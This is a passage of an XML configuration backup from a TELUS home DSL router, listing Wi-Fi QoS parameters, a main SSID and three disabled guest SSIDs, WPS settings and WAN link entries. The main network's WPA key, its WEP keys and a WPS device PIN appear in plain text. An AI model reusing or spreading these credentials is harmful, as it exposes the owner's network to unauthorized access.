 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </APWMMParameter>
 <APWMMParameter instance="4">
 <AIFSN>1</AIFSN>
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </APWMMParameter>
 <APWMMParameter nextInstance="5" ></APWMMParameter>
 <STAWMMParameter instance="1">
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </STAWMMParameter>
 <STAWMMParameter instance="2">
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </STAWMMParameter>
 <STAWMMParameter instance="3">
 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </STAWMMParameter>
 <STAWMMParameter instance="4">
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </STAWMMParameter>
 <STAWMMParameter nextInstance="5" ></STAWMMParameter>
 <X_5067F0_WlanAdapter>
 <WlBaseCfg>
 <WlPhyType>n</WlPhyType>
 <WlCoreRev>16</WlCoreRev>
 <WlChannel>11</WlChannel>
 <WlCurrentChannel>11</WlCurrentChannel>
 <WlVer>5.60.120.11.cpe4.06L03.1</WlVer>
 <WlAburnSupported>1</WlAburnSupported>
 <WlAmpduSupported>1</WlAmpduSupported>
 <WlWmeSupported>1</WlWmeSupported>
 <WlWmfSupported>1</WlWmfSupported>
 </WlBaseCfg>
 <WlStaticWdsCfg instance="1">
 </WlStaticWdsCfg>
 <WlStaticWdsCfg instance="2">
 </WlStaticWdsCfg>
 <WlStaticWdsCfg instance="3">
 </WlStaticWdsCfg>
 <WlStaticWdsCfg instance="4">
 </WlStaticWdsCfg>
 <WlStaticWdsCfg nextInstance="5" ></WlStaticWdsCfg>
 <WlWmmCfg>
 <WlAPWmmParameterCfg instance="1">
 <ACName>be</ACName>
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>6</ECWMax>
 </WlAPWmmParameterCfg>
 <WlAPWmmParameterCfg instance="2">
 <ACName>bk</ACName>
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </WlAPWmmParameterCfg>
 <WlAPWmmParameterCfg instance="3">
 <ACName>vi</ACName>
 <AIFSN>1</AIFSN>
 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </WlAPWmmParameterCfg>
 <WlAPWmmParameterCfg instance="4">
 <ACName>vo</ACName>
 <AIFSN>1</AIFSN>
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </WlAPWmmParameterCfg>
 <WlAPWmmParameterCfg nextInstance="5" ></WlAPWmmParameterCfg>
 <WlSTAWmmParameterCfg instance="1">
 <ACName>be</ACName>
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </WlSTAWmmParameterCfg>
 <WlSTAWmmParameterCfg instance="2">
 <ACName>bk</ACName>
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </WlSTAWmmParameterCfg>
 <WlSTAWmmParameterCfg instance="3">
 <ACName>vi</ACName>
 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </WlSTAWmmParameterCfg>
 <WlSTAWmmParameterCfg instance="4">
 <ACName>vo</ACName>
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </WlSTAWmmParameterCfg>
 <WlSTAWmmParameterCfg nextInstance="5" ></WlSTAWmmParameterCfg>
 </WlWmmCfg>
 <WlVirtIntfCfg instance="1">
 <WlIdx>0</WlIdx>
 <WlSsid>TELUS8230</WlSsid>
 <WlBssMacAddr>CC:5D:4E:XX:XX:XX</WlBssMacAddr>
 <WlWpaPsk>929915929</WlWpaPsk>
 <WlWpa>tkip+aes</WlWpa>
 <WlFltMacMode>deny</WlFltMacMode>
 <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey>
 <X_5067F0_AutoGenerateSsid>FALSE</X_5067F0_AutoGenerateSsid>
 <WlMACAddressControlList></WlMACAddressControlList>
 <WlKey64Cfg instance="1">
 <WlKey64>648f7</WlKey64>
 </WlKey64Cfg>
 <WlKey64Cfg instance="2">
 </WlKey64Cfg>
 <WlKey64Cfg instance="3">
 </WlKey64Cfg>
 <WlKey64Cfg instance="4">
 </WlKey64Cfg>
 <WlKey64Cfg nextInstance="5" ></WlKey64Cfg>
 <WlKey128Cfg instance="1">
 <WlKey128>c86eabbee55ca</WlKey128>
 </WlKey128Cfg>
 <WlKey128Cfg instance="2">
 </WlKey128Cfg>
 <WlKey128Cfg instance="3">
 </WlKey128Cfg>
 <WlKey128Cfg instance="4">
 </WlKey128Cfg>
 <WlKey128Cfg nextInstance="5" ></WlKey128Cfg>
 <WlWpsCfg>
 <Wsc_mode>enabled</Wsc_mode>
 </WlWpsCfg>
 </WlVirtIntfCfg>
 <WlVirtIntfCfg instance="2">
 <WlSsid>TELUS8230_Guest1</WlSsid>
 <WlIfcname>wl0.1</WlIfcname>
 <WlBssMacAddr>62:5d:4e:ad:30:ce</WlBssMacAddr>
 <WlWpaPsk>12345678</WlWpaPsk>
 <WlWpa>tkip+aes</WlWpa>
 <WlEnblSsid>0</WlEnblSsid>
 <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey>
 <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey>
 <X_5067F0_AutoGenerateSsid>FALSE</X_5067F0_AutoGenerateSsid>
 <WlMACAddressControlList></WlMACAddressControlList>
 <WlKey64Cfg instance="1">
 </WlKey64Cfg>
 <WlKey64Cfg instance="2">
 </WlKey64Cfg>
 <WlKey64Cfg instance="3">
 </WlKey64Cfg>
 <WlKey64Cfg instance="4">
 </WlKey64Cfg>
 <WlKey64Cfg nextInstance="5" ></WlKey64Cfg>
 <WlKey128Cfg instance="1">
 </WlKey128Cfg>
 <WlKey128Cfg instance="2">
 </WlKey128Cfg>
 <WlKey128Cfg instance="3">
 </WlKey128Cfg>
 <WlKey128Cfg instance="4">
 </WlKey128Cfg>
 <WlKey128Cfg nextInstance="5" ></WlKey128Cfg>
 </WlVirtIntfCfg>
 <WlVirtIntfCfg instance="3">
 <WlIdx>2</WlIdx>
 <WlSsid>TELUS8230_Guest2</WlSsid>
 <WlIfcname>wl0.2</WlIfcname>
 <WlBssMacAddr>62:5d:4e:ad:30:cf</WlBssMacAddr>
 <WlWpaPsk>12345678</WlWpaPsk>
 <WlWpa>tkip+aes</WlWpa>
 <WlEnblSsid>0</WlEnblSsid>
 <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey>
 <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey>
 <X_5067F0_AutoGenerateSsid>FALSE</X_5067F0_AutoGenerateSsid>
 <WlMACAddressControlList></WlMACAddressControlList>
 <WlKey64Cfg instance="1">
 </WlKey64Cfg>
 <WlKey64Cfg instance="2">
 </WlKey64Cfg>
 <WlKey64Cfg instance="3">
 </WlKey64Cfg>
 <WlKey64Cfg instance="4">
 </WlKey64Cfg>
 <WlKey64Cfg nextInstance="5" ></WlKey64Cfg>
 <WlKey128Cfg instance="1">
 </WlKey128Cfg>
 <WlKey128Cfg instance="2">
 </WlKey128Cfg>
 <WlKey128Cfg instance="3">
 </WlKey128Cfg>
 <WlKey128Cfg instance="4">
 </WlKey128Cfg>
 <WlKey128Cfg nextInstance="5" ></WlKey128Cfg>
 </WlVirtIntfCfg>
 <WlVirtIntfCfg instance="4">
 <WlIdx>3</WlIdx>
 <WlSsid>TELUS8230_Guest3</WlSsid>
 <WlIfcname>wl0.3</WlIfcname>
 <WlBssMacAddr>62:5d:4e:ad:30:cc</WlBssMacAddr>
 <WlWpaPsk>12345678</WlWpaPsk>
 <WlWpa>tkip+aes</WlWpa>
 <WlEnblSsid>0</WlEnblSsid>
 <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey>
 <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey>
 <X_5067F0_AutoGenerateSsid>FALSE</X_5067F0_AutoGenerateSsid>
 <WlMACAddressControlList></WlMACAddressControlList>
 <WlKey64Cfg instance="1">
 </WlKey64Cfg>
 <WlKey64Cfg instance="2">
 </WlKey64Cfg>
 <WlKey64Cfg instance="3">
 </WlKey64Cfg>
 <WlKey64Cfg instance="4">
 </WlKey64Cfg>
 <WlKey64Cfg nextInstance="5" ></WlKey64Cfg>
 <WlKey128Cfg instance="1">
 </WlKey128Cfg>
 <WlKey128Cfg instance="2">
 </WlKey128Cfg>
 <WlKey128Cfg instance="3">
 </WlKey128Cfg>
 <WlKey128Cfg instance="4">
 </WlKey128Cfg>
 <WlKey128Cfg nextInstance="5" ></WlKey128Cfg>
 </WlVirtIntfCfg>
 <WlVirtIntfCfg nextInstance="5" ></WlVirtIntfCfg>
 </X_5067F0_WlanAdapter>
 <WPS>
 <Enable>TRUE</Enable>
 <DevicePassword>66455936</DevicePassword>
 <ConfigMethodsSupported>Ethernet,Display,PushButton</ConfigMethodsSupported>
 <ConfigMethodsEnabled>1,1,1</ConfigMethodsEnabled>
 <SetupLockedState>Unlocked</SetupLockedState>
 <ConfigurationState>Configured</ConfigurationState>
 </WPS>
 </WLANConfiguration>
 <WLANConfiguration instance="2">
 <Enable>FALSE</Enable>
 <MaxBitRate>144.5</MaxBitRate>
 <Channel>11</Channel>
 <SSID>TELUS8230_Guest1</SSID>
 <BeaconType>WPAand11i</BeaconType>
 <WEPKeyIndex>1</WEPKeyIndex>
 <BasicEncryptionModes>None</BasicEncryptionModes>
 <BasicAuthenticationMode>None</BasicAuthenticationMode>
 <WPAEncryptionModes>TKIPandAESEncryption</WPAEncryptionModes>
 <WPAAuthenticationMode>PSKAuthentication</WPAAuthenticationMode>
 <IEEE11iEncryptionModes>TKIPandAESEncryption</IEEE11iEncryptionModes>
 <IEEE11iAuthenticationMode>PSKAuthentication</IEEE11iAuthenticationMode>
 <BasicDataTransmitRates>54</BasicDataTransmitRates>
 <OperationalDataTransmitRates>NOS</OperationalDataTransmitRates>
 <RadioEnabled>TRUE</RadioEnabled>
 <LocationDescription>NOS</LocationDescription>
 <RegulatoryDomain>US</RegulatoryDomain>
 <PeerBSSID>NOS</PeerBSSID>
 <AuthenticationServiceMode>NOS</AuthenticationServiceMode>
 <X_5067F0_WMMPowerSaveEnabled>TRUE</X_5067F0_WMMPowerSaveEnabled>
 <X_5067F0_IfName>wl0.1</X_5067F0_IfName>
 <X_5067F0_GuestSSID>TELUS8230_Guest1</X_5067F0_GuestSSID>
 <X_5067F0_GuestEnable>FALSE</X_5067F0_GuestEnable>
 <X_5067F0_GuestHiden>FALSE</X_5067F0_GuestHiden>
 <X_5067F0_GuestIsolateClients>FALSE</X_5067F0_GuestIsolateClients>
 <X_5067F0_Guest1SSID>TELUS8230_Guest2</X_5067F0_Guest1SSID>
 <X_5067F0_Guest1Enable>FALSE</X_5067F0_Guest1Enable>
 <X_5067F0_Guest1Hiden>FALSE</X_5067F0_Guest1Hiden>
 <X_5067F0_Guest1IsolateClients>FALSE</X_5067F0_Guest1IsolateClients>
 <X_5067F0_Guest2SSID>TELUS8230_Guest3</X_5067F0_Guest2SSID>
 <X_5067F0_Guest2Enable>FALSE</X_5067F0_Guest2Enable>
 <X_5067F0_Guest2Hiden>FALSE</X_5067F0_Guest2Hiden>
 <X_5067F0_Guest2IsolateClients>FALSE</X_5067F0_Guest2IsolateClients>
 <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey>
 <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey>
 <WEPKey instance="1">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="2">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="3">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="4">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey nextInstance="5" ></WEPKey>
 <PreSharedKey instance="1">
 <PreSharedKey>12345678</PreSharedKey>
 </PreSharedKey>
 <PreSharedKey nextInstance="2" ></PreSharedKey>
 <APWMMParameter instance="1">
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>6</ECWMax>
 </APWMMParameter>
 <APWMMParameter instance="2">
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </APWMMParameter>
 <APWMMParameter instance="3">
 <AIFSN>1</AIFSN>
 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </APWMMParameter>
 <APWMMParameter instance="4">
 <AIFSN>1</AIFSN>
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </APWMMParameter>
 <APWMMParameter nextInstance="5" ></APWMMParameter>
 <STAWMMParameter instance="1">
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </STAWMMParameter>
 <STAWMMParameter instance="2">
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </STAWMMParameter>
 <STAWMMParameter instance="3">
 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </STAWMMParameter>
 <STAWMMParameter instance="4">
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </STAWMMParameter>
 <STAWMMParameter nextInstance="5" ></STAWMMParameter>
 <WPS>
 <ConfigMethodsSupported>Ethernet,Display,PushButton</ConfigMethodsSupported>
 <ConfigMethodsEnabled>1,1,1</ConfigMethodsEnabled>
 <SetupLockedState>Unlocked</SetupLockedState>
 </WPS>
 </WLANConfiguration>
 <WLANConfiguration instance="3">
 <Enable>FALSE</Enable>
 <MaxBitRate>144.5</MaxBitRate>
 <Channel>11</Channel>
 <SSID>TELUS8230_Guest2</SSID>
 <BeaconType>WPAand11i</BeaconType>
 <WEPKeyIndex>1</WEPKeyIndex>
 <BasicEncryptionModes>None</BasicEncryptionModes>
 <BasicAuthenticationMode>None</BasicAuthenticationMode>
 <WPAEncryptionModes>TKIPandAESEncryption</WPAEncryptionModes>
 <WPAAuthenticationMode>PSKAuthentication</WPAAuthenticationMode>
 <IEEE11iEncryptionModes>TKIPandAESEncryption</IEEE11iEncryptionModes>
 <IEEE11iAuthenticationMode>PSKAuthentication</IEEE11iAuthenticationMode>
 <BasicDataTransmitRates>54</BasicDataTransmitRates>
 <OperationalDataTransmitRates>NOS</OperationalDataTransmitRates>
 <RadioEnabled>TRUE</RadioEnabled>
 <LocationDescription>NOS</LocationDescription>
 <RegulatoryDomain>US</RegulatoryDomain>
 <PeerBSSID>NOS</PeerBSSID>
 <AuthenticationServiceMode>NOS</AuthenticationServiceMode>
 <X_5067F0_WMMPowerSaveEnabled>TRUE</X_5067F0_WMMPowerSaveEnabled>
 <X_5067F0_IfName>wl0.2</X_5067F0_IfName>
 <X_5067F0_GuestSSID>TELUS8230_Guest1</X_5067F0_GuestSSID>
 <X_5067F0_GuestEnable>FALSE</X_5067F0_GuestEnable>
 <X_5067F0_GuestHiden>FALSE</X_5067F0_GuestHiden>
 <X_5067F0_GuestIsolateClients>FALSE</X_5067F0_GuestIsolateClients>
 <X_5067F0_Guest1SSID>TELUS8230_Guest2</X_5067F0_Guest1SSID>
 <X_5067F0_Guest1Enable>FALSE</X_5067F0_Guest1Enable>
 <X_5067F0_Guest1Hiden>FALSE</X_5067F0_Guest1Hiden>
 <X_5067F0_Guest1IsolateClients>FALSE</X_5067F0_Guest1IsolateClients>
 <X_5067F0_Guest2SSID>TELUS8230_Guest3</X_5067F0_Guest2SSID>
 <X_5067F0_Guest2Enable>FALSE</X_5067F0_Guest2Enable>
 <X_5067F0_Guest2Hiden>FALSE</X_5067F0_Guest2Hiden>
 <X_5067F0_Guest2IsolateClients>FALSE</X_5067F0_Guest2IsolateClients>
 <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey>
 <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey>
 <WEPKey instance="1">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="2">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="3">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="4">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey nextInstance="5" ></WEPKey>
 <PreSharedKey instance="1">
 <PreSharedKey>12345678</PreSharedKey>
 </PreSharedKey>
 <PreSharedKey nextInstance="2" ></PreSharedKey>
 <APWMMParameter instance="1">
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>6</ECWMax>
 </APWMMParameter>
 <APWMMParameter instance="2">
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </APWMMParameter>
 <APWMMParameter instance="3">
 <AIFSN>1</AIFSN>
 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </APWMMParameter>
 <APWMMParameter instance="4">
 <AIFSN>1</AIFSN>
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </APWMMParameter>
 <APWMMParameter nextInstance="5" ></APWMMParameter>
 <STAWMMParameter instance="1">
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </STAWMMParameter>
 <STAWMMParameter instance="2">
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </STAWMMParameter>
 <STAWMMParameter instance="3">
 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </STAWMMParameter>
 <STAWMMParameter instance="4">
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </STAWMMParameter>
 <STAWMMParameter nextInstance="5" ></STAWMMParameter>
 <WPS>
 <ConfigMethodsSupported>Ethernet,Display,PushButton</ConfigMethodsSupported>
 <ConfigMethodsEnabled>1,1,1</ConfigMethodsEnabled>
 <SetupLockedState>Unlocked</SetupLockedState>
 </WPS>
 </WLANConfiguration>
 <WLANConfiguration instance="4">
 <Enable>FALSE</Enable>
 <MaxBitRate>144.5</MaxBitRate>
 <Channel>11</Channel>
 <SSID>TELUS8230_Guest3</SSID>
 <BeaconType>WPAand11i</BeaconType>
 <WEPKeyIndex>1</WEPKeyIndex>
 <BasicEncryptionModes>None</BasicEncryptionModes>
 <BasicAuthenticationMode>None</BasicAuthenticationMode>
 <WPAEncryptionModes>TKIPandAESEncryption</WPAEncryptionModes>
 <WPAAuthenticationMode>PSKAuthentication</WPAAuthenticationMode>
 <IEEE11iEncryptionModes>TKIPandAESEncryption</IEEE11iEncryptionModes>
 <IEEE11iAuthenticationMode>PSKAuthentication</IEEE11iAuthenticationMode>
 <BasicDataTransmitRates>54</BasicDataTransmitRates>
 <OperationalDataTransmitRates>NOS</OperationalDataTransmitRates>
 <RadioEnabled>TRUE</RadioEnabled>
 <LocationDescription>NOS</LocationDescription>
 <RegulatoryDomain>US</RegulatoryDomain>
 <PeerBSSID>NOS</PeerBSSID>
 <AuthenticationServiceMode>NOS</AuthenticationServiceMode>
 <X_5067F0_WMMPowerSaveEnabled>TRUE</X_5067F0_WMMPowerSaveEnabled>
 <X_5067F0_IfName>wl0.3</X_5067F0_IfName>
 <X_5067F0_GuestSSID>TELUS8230_Guest1</X_5067F0_GuestSSID>
 <X_5067F0_GuestEnable>FALSE</X_5067F0_GuestEnable>
 <X_5067F0_GuestHiden>FALSE</X_5067F0_GuestHiden>
 <X_5067F0_GuestIsolateClients>FALSE</X_5067F0_GuestIsolateClients>
 <X_5067F0_Guest1SSID>TELUS8230_Guest2</X_5067F0_Guest1SSID>
 <X_5067F0_Guest1Enable>FALSE</X_5067F0_Guest1Enable>
 <X_5067F0_Guest1Hiden>FALSE</X_5067F0_Guest1Hiden>
 <X_5067F0_Guest1IsolateClients>FALSE</X_5067F0_Guest1IsolateClients>
 <X_5067F0_Guest2SSID>TELUS8230_Guest3</X_5067F0_Guest2SSID>
 <X_5067F0_Guest2Enable>FALSE</X_5067F0_Guest2Enable>
 <X_5067F0_Guest2Hiden>FALSE</X_5067F0_Guest2Hiden>
 <X_5067F0_Guest2IsolateClients>FALSE</X_5067F0_Guest2IsolateClients>
 <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey>
 <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey>
 <WEPKey instance="1">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="2">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="3">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey instance="4">
 <WEPKey>1234567890</WEPKey>
 </WEPKey>
 <WEPKey nextInstance="5" ></WEPKey>
 <PreSharedKey instance="1">
 <PreSharedKey>12345678</PreSharedKey>
 </PreSharedKey>
 <PreSharedKey nextInstance="2" ></PreSharedKey>
 <APWMMParameter instance="1">
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>6</ECWMax>
 </APWMMParameter>
 <APWMMParameter instance="2">
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </APWMMParameter>
 <APWMMParameter instance="3">
 <AIFSN>1</AIFSN>
 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </APWMMParameter>
 <APWMMParameter instance="4">
 <AIFSN>1</AIFSN>
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </APWMMParameter>
 <APWMMParameter nextInstance="5" ></APWMMParameter>
 <STAWMMParameter instance="1">
 <AIFSN>3</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </STAWMMParameter>
 <STAWMMParameter instance="2">
 <AIFSN>7</AIFSN>
 <ECWMin>4</ECWMin>
 <ECWMax>10</ECWMax>
 </STAWMMParameter>
 <STAWMMParameter instance="3">
 <ECWMin>3</ECWMin>
 <ECWMax>4</ECWMax>
 <TXOP>94</TXOP>
 </STAWMMParameter>
 <STAWMMParameter instance="4">
 <ECWMin>2</ECWMin>
 <ECWMax>3</ECWMax>
 <TXOP>47</TXOP>
 </STAWMMParameter>
 <STAWMMParameter nextInstance="5" ></STAWMMParameter>
 <WPS>
 <ConfigMethodsSupported>Ethernet,Display,PushButton</ConfigMethodsSupported>
 <ConfigMethodsEnabled>1,1,1</ConfigMethodsEnabled>
 <SetupLockedState>Unlocked</SetupLockedState>
 </WPS>
 </WLANConfiguration>
 <WLANConfiguration nextInstance="5" ></WLANConfiguration>
 <Hosts>
 <Host nextInstance="84" ></Host>
 </Hosts>
 </LANDevice>
 <LANDevice nextInstance="2" ></LANDevice>
 <WANDevice instance="1">
 <WANConnectionNumberOfEntries>2</WANConnectionNumberOfEntries>
 <WANCommonInterfaceConfig>
 <WANAccessType>DSL</WANAccessType>
 </WANCommonInterfaceConfig>
 <X_5067F0_XTM_Interface_Stats instance="1">
 </X_5067F0_XTM_Interface_Stats>
 <X_5067F0_XTM_Interface_Stats instance="2">
 </X_5067F0_XTM_Interface_Stats>
 <X_5067F0_XTM_Interface_Stats instance="3">
 </X_5067F0_XTM_Interface_Stats>
 <X_5067F0_XTM_Interface_Stats instance="4">
 </X_5067F0_XTM_Interface_Stats>
 <X_5067F0_XTM_Interface_Stats nextInstance="5" ></X_5067F0_XTM_Interface_Stats>
 <WANDSLInterfaceConfig>
 <Enable>TRUE</Enable>
 <X_5067F0_DslCfgParam>32508288</X_5067F0_DslCfgParam>
 </WANDSLInterfaceConfig>
 <WANConnectionDevice instance="1">
 <WANIPConnectionNumberOfEntries>1</WANIPConnectionNumberOfEntries>
 <WANPPPConnectionNumberOfEntries>0</WANPPPConnectionNumberOfEntries>
 <WANDSLLinkConfig>
 <Enable>TRUE</Enable>
 <LinkType>EoA</LinkType>
 <X_5067F0_ATMEnbQos>TRUE</X_5067F0_ATMEnbQos>
 <X_5067F0_GrpPrecedence>8</X_5067F0_GrpPrecedence>
 <X_5067F0_IfName>atm0</X_5067F0_IfName>
 </WANDSLLinkConfig>
 <WANIPConnection instance="1">
 <Enable>TRUE</Enable>
 <ConnectionType>IP_Routed</ConnectionType>
 <Name>ADSL_DEFAULT_0_33</Name>
 <NATEnabled>TRUE</NATEnabled>
 <ExternalIPAddress notification="2">0.0.0.0</ExternalIPAddress>
 <X_5067F0_IGMPEnabled>TRUE</X_5067F0_IGMPEnabled>
 <X_5067F0_IfName>atm0</X_5067F0_IfName>
 <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries>
 <X_5067F0_GatewayUsed>TRUE</X_5067F0_GatewayUsed>
 </WANIPConnection>
 <WANIPConnection nextInstance="2" ></WANIPConnection>
 </WANConnectionDevice>
 <WANConnectionDevice instance="2">
 <WANIPConnectionNumberOfEntries>1</WANIPConnectionNumberOfEntries>
 <WANPPPConnectionNumberOfEntries>0</WANPPPConnectionNumberOfEntries>
 <WANDSLLinkConfig>
 <Enable>TRUE</Enable>
 <LinkType>EoA</LinkType>
 <DestinationAddress>PVC: 8/35</DestinationAddress>
 <X_5067F0_ATMEnbQos>TRUE</X_5067F0_ATMEnbQos>
 <X_5067F0_GrpPrecedence>8</X_5067F0_GrpPrecedence>
 <X_5067F0_IfName>atm1</X_5067F0_IfName>
 </WANDSLLinkConfig>
 <WANIPConnection instance="1">
 <Enable>TRUE</Enable>
 <ConnectionType>IP_Routed</ConnectionType>
 <Name>ADSL_DEFAULT_8_35</Name>
 <NATEnabled>TRUE</NATEnabled>
 <ExternalIPAddress notification="2">0.0.0.0</ExternalIPAddress>
 <X_5067F0_IGMPEnabled>TRUE</X_5067F0_IGMPEnabled>
 <X_5067F0_IfName>atm1</X_5067F0_IfName>
 <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries>
 <X_5067F0_GatewayUsed>TRUE</X_5067F0_GatewayUsed>
 </WANIPConnection>
 <WANIPConnection nextInstance="2" ></WANIPConnection>
 </WANConnectionDevice>
 <WANConnectionDevice nextInstance="3" ></WANConnectionDevice>
 </WANDevice>
 <WANDevice instance="2">
 <WANConnectionNumberOfEntries>1</WANConnectionNumberOfEntries>
 <WANCommonInterfaceConfig>
 <WANAccessType>DSL</WANAccessType>
 </WANCommonInterfaceConfig>
 <X_5067F0_XTM_Interface_Stats instance="1">
 </X_5067F0_XTM_Interface_Stats>
 <X_5067F0_XTM_Interface_Stats instance="2">
 </X_5067F0_XTM_Interface_Stats>
 <X_5067F0_XTM_Interface_Stats instance="3">
 </X_5067F0_XTM_Interface_Stats>
 <X_5067F0_XTM_Interface_Stats instance="4">
 </X_5067F0_XTM_Interface_Stats>
 <X_5067F0_XTM_Interface_Stats nextInstance="5" ></X_5067F0_XTM_Interface_Stats>
 <WANDSLInterfaceConfig>
 <Enable>TRUE</Enable>
 <LinkEncapsulationUsed>G.992.3_Annex_K_PTM</LinkEncapsulationUsed>
 <X_5067F0_DslCfgParam>32508288</X_5067F0_DslCfgParam>
 </WANDSLInterfaceConfig>
 <WANConnectionDevice instance="1">
 <WANIPConnectionNumberOfEntries>1</WANIPConnectionNumberOfEntries>
 <WANPPPConnectionNumberOfEntries>0</WANPPPConnectionNumberOfEntries>
 <WANPTMLinkConfig>
 <Enable>TRUE</Enable>
 <X_5067F0_PTMEnbQos>TRUE</X_5067F0_PTMEnbQos>
 <X_5067F0_GrpPrecedence>8</X_5067F0_GrpPrecedence>
 <X_5067F0_ConnectionMode>VlanMuxMode</X_5067F0_ConnectionMode>
 <X_5067F0_IfName>ptm0</X_5067F0_IfName>
 </WANPTMLinkConfig>
 <WANIPConnection instance="1">
 <Enable>TRUE</Enable>
 <ConnectionType>IP_Routed</ConnectionType>
 <Name>VDSL_DEFAULT</Name>
 <NATEnabled>TRUE</NATEnabled>
 <ExternalIPAddress notification="2">0.0.0.0</ExternalIPAddress>
 <X_5067F0_IGMPEnabled>TRUE</X_5067F0_IGMPEnabled>
 <MACAddress>CC:5D:4E:XX:XX:XX</MACAddress>
 <X_5067F0_IfName>ptm0.1</X_5067F0_IfName>
 <X_5067F0_ConnectionId>1</X_5067F0_ConnectionId>
 <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries>
 <X_5067F0_GatewayUsed>TRUE</X_5067F0_GatewayUsed>
 <X_5067F0_UPNPPortMappingRule nextInstance="281" ></X_5067F0_UPNPPortMappingRule>
 </WANIPConnection>
 <WANIPConnection nextInstance="2" ></WANIPConnection>
 </WANConnectionDevice>
 <WANConnectionDevice nextInstance="2" ></WANConnectionDevice>
 </WANDevice>
 <WANDevice instance="3">
 <WANConnectionNumberOfEntries>1</WANConnectionNumberOfEntries>
 <WANCommonInterfaceConfig>
 <WANAccessType>Ethernet</WANAccessType>
 </WANCommonInterfaceConfig>
 <WANEthernetInterfaceConfig>
 <MaxBitRate>Auto</MaxBitRate>
 <DuplexMode>Auto</DuplexMode>
